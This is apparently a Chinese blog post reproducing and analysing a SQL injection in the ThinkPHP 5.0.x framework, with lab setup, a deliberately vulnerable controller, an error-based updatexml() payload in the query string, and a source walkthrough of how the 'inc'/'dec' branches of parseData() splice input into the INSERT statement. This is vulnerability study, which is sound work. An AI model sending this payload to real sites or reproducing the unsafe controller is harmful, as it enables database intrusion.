ThinkPHP5.0.X框架SQL注入漏洞

ThinkPHP5.0.X框架SQL注入漏洞

环境搭建

  1. 自己还没有用composer,所以先用了phpstudy简答的搭建了一下环境

1. mysql创建数据

  1. create database thinkphp 创建一个名为thinkphp的数据库

  2. create table users(id int auto_increment primary key,username varchar(20),password varchar(30));创建一个users表里面的段名为id,username,password,其中id设置为主键

  3. 接着插入数据Insert into users(id,username,password) values(1,'xbx_0d','tobebetter');

2. ThinkPHP基础配置

没学过ThinkPHP的同学可以参考上面提供的第一个资料

1.开启debug模式

img

2.配置database文件

img

3.修改application\index\controller\index.php文件img

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
namespace app\index\controller;
use think\Db;

class Index
{
public function index()
{
$name = input("get.name/a");
Db::table("users")->where(["id"=>1])->insert(["username"=>$name]);
return "ThinkPHP SQL Test.";
}
}
?>

4.尝试触发漏洞

imgpayload:

1
/public/index.php/index/index/index?name[0]=inc&name[1]=updatexml(1,concat(0x7,user(),0x7e),1)&name[2]=1

漏洞分析

  1. 因为是复现所以明确知道的是insert函数存在漏洞,接下来是分析

  2. 首先看自己定义的控制器的index函数

    image-20211122140339648

  3. 直接转到insert函数的定义在/thinkphp/library/think/db/Query.php文件下,这里自己尝试分析了一下

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    public function insert(array $data = [], $replace = false, $getLastInsID = false, $sequence = null)
    {
    // 分析查询表达式
    $options = $this->parseExpress(); # 分析我们写入的表达式是用来查询还是写入
    $data = array_merge($options['data'], $data); # 合并数组,$data是我们自己传入执行语句
    // 生成SQL语句
    $sql = $this->builder->insert($data, $options, $replace);
    //运行到这里的时候sql的值为"INSERT INTO `users` (`username`) VALUES (:data__username) "
    // 获取参数绑定
    $bind = $this->getBind();
    //这里的参数绑定就是绑定:data_username
    if ($options['fetch_sql']) { #这里$options['fetch_sql']值为false跳过
    // 获取实际执行的SQL语句
    return $this->connection->getRealSql($sql, $bind);
    }

    // 执行操作
    $result = 0 === $sql ? 0 : $this->execute($sql, $bind);#这里就是如果sql语句不为空就执行绑定参数的sql语句
    if ($result) {
    $sequence = $sequence ?: (isset($options['sequence']) ? $options['sequence'] : null);
    $lastInsId = $this->getLastInsID($sequence);
    if ($lastInsId) {
    $pk = $this->getPk($options);
    if (is_string($pk)) {
    $data[$pk] = $lastInsId;
    }
    }
    $options['data'] = $data;
    $this->trigger('after_insert', $options);

    if ($getLastInsID) {
    return $lastInsId;
    }
    }
    return $result;
    }
  4. 接着我们跟进到$sql = $this->builder->insert($data, $options, $replace);的insert()函数

    这里构造了我们最后要执行的sql语句,所以漏洞一般产生在这里

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    public function insert(array $data, $options = [], $replace = false)
    {
    // 分析并处理数据
    $data = $this->parseData($data, $options);
    if (empty($data)) {
    return 0;
    }
    $fields = array_keys($data); #以数组形式返回$data数组的键
    $values = array_values($data); #以数组形式放回$data数组的值

    $sql = str_replace(
    ['%INSERT%', '%TABLE%', '%FIELD%', '%DATA%', '%COMMENT%'],
    [
    $replace ? 'REPLACE' : 'INSERT',
    $this->parseTable($options['table'], $options),
    implode(' , ', $fields),
    implode(' , ', $values),
    $this->parseComment($options['comment']),
    ], $this->insertSql);

    return $sql;
    }

    先转到看一下数据的解析$data = $this->parseData($data, $options)

    假设我们传入的是?name[0]=username&name[1]=password&name[2]=123456

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    protected function parseData($data, $options)
    {
    if (empty($data)) {
    return [];
    }

    // 获取绑定信息
    $bind = $this->query->getFieldsBind($options['table']);
    if ('*' == $options['field']) {
    $fields = array_keys($bind);
    } else {
    $fields = $options['field'];
    }

    $result = [];
    #这里遍历了数组 此时的数组是Array ( [username] => Array ( [0] => username [1] => password [2] => 123456 ) )
    foreach ($data as $key => $val) {
    #$key username
    #$val Array ( [0] => username [1] => password [2] => 123456 )
    $item = $this->parseKey($key, $options);
    #$item=`username`
    #这里的$val是数组所以跳过
    if (is_object($val) && method_exists($val, '__toString')) {
    // 对象数据写入
    $val = $val->__toString();
    }
    #如果字段名含有.或者字段名不在$fileds则报错
    if (false === strpos($key, '.') && !in_array($key, $fields, true)) {
    if ($options['strict']) {
    throw new Exception('fields not exists:[' . $key . ']');
    }
    } elseif (is_null($val)) {
    $result[$item] = 'NULL';
    } elseif (is_array($val) && !empty($val)) { #跟进到这里
    #这里如果$val[0]的值是下面三个中的一个则进行了拼接
    switch ($val[0]) {
    case 'exp':
    $result[$item] = $val[1];
    break;
    case 'inc':
    $result[$item] = $this->parseKey($val[1]) . '+' . floatval($val[2]);
    break;
    case 'dec':
    $result[$item] = $this->parseKey($val[1]) . '-' . floatval($val[2]);
    break;
    }
    } elseif (is_scalar($val)) {
    // 过滤非标量数据
    if (0 === strpos($val, ':') && $this->query->isBind(substr($val, 1))) {
    $result[$item] = $val;
    } else {
    $key = str_replace('.', '_', $key);
    $this->query->bind('data__' . $key, $val, isset($bind[$key]) ? $bind[$key] : PDO::PARAM_STR);
    $result[$item] = ':data__' . $key;
    }
    }
    }
    return $result;
    }

    自己大概捋了一下思路 感觉已经知道了注入的顺序了 接下来就是待入payload梳理一下

    这里用七月火师傅给的payload ?name[0]=inc&name[1]=updatexml(1,concat(0x7,user(),0x7e),1)&name[2]=1

    接下来动态调试一下

1. 入口函数

image-20211122190254568

2. 跟进到insert函数

image-20211122190932980

在红线的地方进行了一次解析,这次解析和漏洞关系不大,只是解析了当前sql语句或者这里应该称之为表达式进行了一次解析,主要内容就是,表名,字段名这些获得的结果如下

1
2
$options:
Array ( [table] => users [multi] => Array ( [AND] => Array ( [id] => Array ( [0] => 1 ) ) ) [where] => Array ( [AND] => Array ( [id] => 1 ) ) [field] => * [data] => Array ( ) [strict] => 1 [master] => [lock] => [fetch_pdo] => [fetch_sql] => [distinct] => [join] => [union] => [group] => [having] => [limit] => [order] => [force] => [comment] => )

在接下来的地方执行了array_merge()函数,把两个数组合并成一个数组,并赋值给$data

此时$options[‘data’]为空,而$data就是我们想要插入的键值对

接下来才是最重要的

3. builder.php/insert()

image-20211122211516906在这里就要跟进到builder类的insert()函数了,这个函数的功能是拼接出最后要执行SQL语句

所以要特别关注这个函数

这里注意的是builder并非是builder类的实例化对象,而是Mysql类的

图片.png

只是在这里的Mysql类继承了Builder类所以存在insert()函数,废话不多说直接看insert()函数

图片.png

这里直接执行了一个parseData()函数继续跟进,这就就是漏洞的点了,打气精神来 everybody!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
protected function parseData($data, $options)
{
if (empty($data)) {
return [];
}
// 获取绑定信息
$bind = $this->query->getFieldsBind($options['table']);
if ('*' == $options['field']) {
$fields = array_keys($bind);
} else {
$fields = $options['field'];
}
$result = [];
foreach ($data as $key => $val) {
print_r($val);
$item = $this->parseKey($key, $options);
if (is_object($val) && method_exists($val, '__toString')) {
// 对象数据写入
$val = $val->__toString();
}
if (false === strpos($key, '.') && !in_array($key, $fields, true)) {
if ($options['strict']) {
throw new Exception('fields not exists:[' . $key . ']');
}
} elseif (is_null($val)) {
$result[$item] = 'NULL';
} elseif (is_array($val) && !empty($val)) {
switch ($val[0]) {
case 'exp':
$result[$item] = $val[1];
break;
case 'inc':
$result[$item] = $this->parseKey($val[1]) . '+' . floatval($val[2]);
break;
case 'dec':
$result[$item] = $this->parseKey($val[1]) . '-' . floatval($val[2]);
break;
}
echo "result:<br>";
print_r($result);
} elseif (is_scalar($val)) {
// 过滤非标量数据
if (0 === strpos($val, ':') && $this->query->isBind(substr($val, 1))) {
$result[$item] = $val;
} else {
$key = str_replace('.', '_', $key);
$this->query->bind('data__' . $key, $val, isset($bind[$key]) ? $bind[$key] : PDO::PARAM_STR);
$result[$item] = ':data__' . $key;
}
}
}
return $result;
}

首先执行了一个$bind = $this->query->getFieldsBind($options['table']);这个函数的具体流程还不清楚

但是返回的值是这样的Array ( [id] => 1 [username] => 2 [password] => 2 )

暂且可以理解为是以数组的形式返回数据库的字段名(90%的确定!)

接着就是$fields = array_keys($bind);将$bind数组的键以一个新的数组赋值到$fields

4. foreach()生成sql语句

图片.png

此时键值$key是username $val是一个数组在图中已经给出来了

而$item在parseKey解析后值是变为`username`

下面的if由于不是对象直接跳过,直接运行到

图片.png

此时$val[0]的值是inc直接跳到case inc:执行下面的语句

通过拼接$result[$item]=updatexml(1,concat(0x7,user(),0x7e),1)+1

而reuslt的数组的值就是

1
Array ( [`username`] => updatexml(1,concat(0x7,user(),0x7e),1)+1 ) 

返回result数组到insert()函数

图片.png

初始定义protected $insertSql = '%INSERT% INTO %TABLE% (%FIELD%) VALUES (%DATA%) %COMMENT%';

经过解析后变为sql语句变为

1
INSERT INTO `users` (`username`) VALUES (updatexml(1,concat(0x7,user(),0x7e),1)+123456) 

图片.png

由于在红线的地方执行sql语句的时候由于updatexml而产生报错

补充

  1. 这里漏洞的第一参数name[0]可以修改为dec可以 但是exp我复现失败了 后面回补充完整!

  2. 第一次审计TP框架,可能审计的不够完美,希望大家多多包涵!

  3. 本文参考七月火师傅的博客

    1. 代码审计 | ThinkPHP5.0.x框架SQL注⼊-七月火师傅

    2. 官方漏洞修复

  4. 后来发现如果name[0]=exp 经过处理之后值

    image-20211122233302725

    $val[0]=’exp ‘所以没有匹配到,但是inc和dec却没有加一个trim,所以跟进了一下

    在这里打了一下dump($val[0]);值是string 'exp ' (length=4)

    我在这里一个一个尝试了一下 最后发现

    在入口函数

    1
    2
    3
    4
    5
    6
    7
    public function index()
    {
    $name = input("get.name/a");
    dump($name[0]);
    Db::table("users")->where(["id"=>1])->insert(["username"=>$name]);
    return "ThinkPHP SQL Test.";
    }

    这里打出$name[0],如果传的是exp就多了一个空格,如果是inc就没有添加空格

    最后在这个目录下发现了一个函数 日!

    \thinkphp\library\think\Request.php

    1
    2
    3
    4
    5
    6
    7
    8
    public function filterExp(&$value)
    {
    // 过滤查询特殊字符
    if (is_string($value) && preg_match('/^(EXP|NEQ|GT|EGT|LT|ELT|OR|XOR|LIKE|NOTLIKE|NOT LIKE|NOT BETWEEN|NOTBETWEEN|BETWEEN|NOTIN|NOT IN|IN)$/i', $value)) {
    $value .= ' ';
    }
    // TODO 其他安全过滤
    }

    G!